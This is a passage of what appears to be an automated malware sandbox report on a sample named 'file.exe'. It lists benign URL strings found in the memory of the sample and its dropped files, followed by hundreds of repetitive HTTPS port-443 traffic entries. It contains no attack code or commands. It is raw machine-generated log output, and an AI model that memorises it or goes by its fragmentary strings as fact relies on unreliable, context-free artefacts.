Source: powershell.exe, 00000025.00000002.2625519157.00000230C8B1A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX
Source: GDBAKEGIDBGIEBFHDHJJEHDHDG.0.dr	String found in binary or memory: https://support.mozilla.org
Source: GDBAKEGIDBGIEBFHDHJJEHDHDG.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: GDBAKEGIDBGIEBFHDHJJEHDHDG.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK
Source: file.exe, 00000000.00000002.1922769544.00000000011CB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1946387872.000000002385F000.00000004.00000020.00020000.00000000.sdmp, AKKKECBKKECGCAAAEHJK.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.1601967710.00000000011E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content_new.js.9.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000000.00000003.1697667818.000000002380A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1601967710.00000000011E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: cd745b4d-152e-43d9-8245-32322c779576.tmp.10.dr	String found in binary or memory: https://www.googleapis.com
Source: file.exe, 00000000.00000002.1922769544.00000000011CB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1946387872.000000002385F000.00000004.00000020.00020000.00000000.sdmp, AKKKECBKKECGCAAAEHJK.0.dr	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: GDBAKEGIDBGIEBFHDHJJEHDHDG.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.1920780463.0000000000634000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: file.exe, 00000000.00000002.1920780463.0000000000634000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/IIIDHIECFHJD
Source: GDBAKEGIDBGIEBFHDHJJEHDHDG.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: file.exe, 00000000.00000002.1920780463.0000000000634000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000000.00000002.1920780463.0000000000717000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1920780463.0000000000634000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000000.00000002.1920780463.0000000000717000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/W1sYnpxLnB3ZA==
Source: GDBAKEGIDBGIEBFHDHJJEHDHDG.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: file.exe, 00000000.00000002.1920780463.0000000000634000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.1814885609.0000000023AAF000.00000004.00000020.00020000.00000000.sdmp, GDBAKEGIDBGIEBFHDHJJEHDHDG.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: GDBAKEGIDBGIEBFHDHJJEHDHDG.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.1920780463.0000000000634000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.1814885609.0000000023AAF000.00000004.00000020.00020000.00000000.sdmp, GDBAKEGIDBGIEBFHDHJJEHDHDG.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.1920780463.0000000000634000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
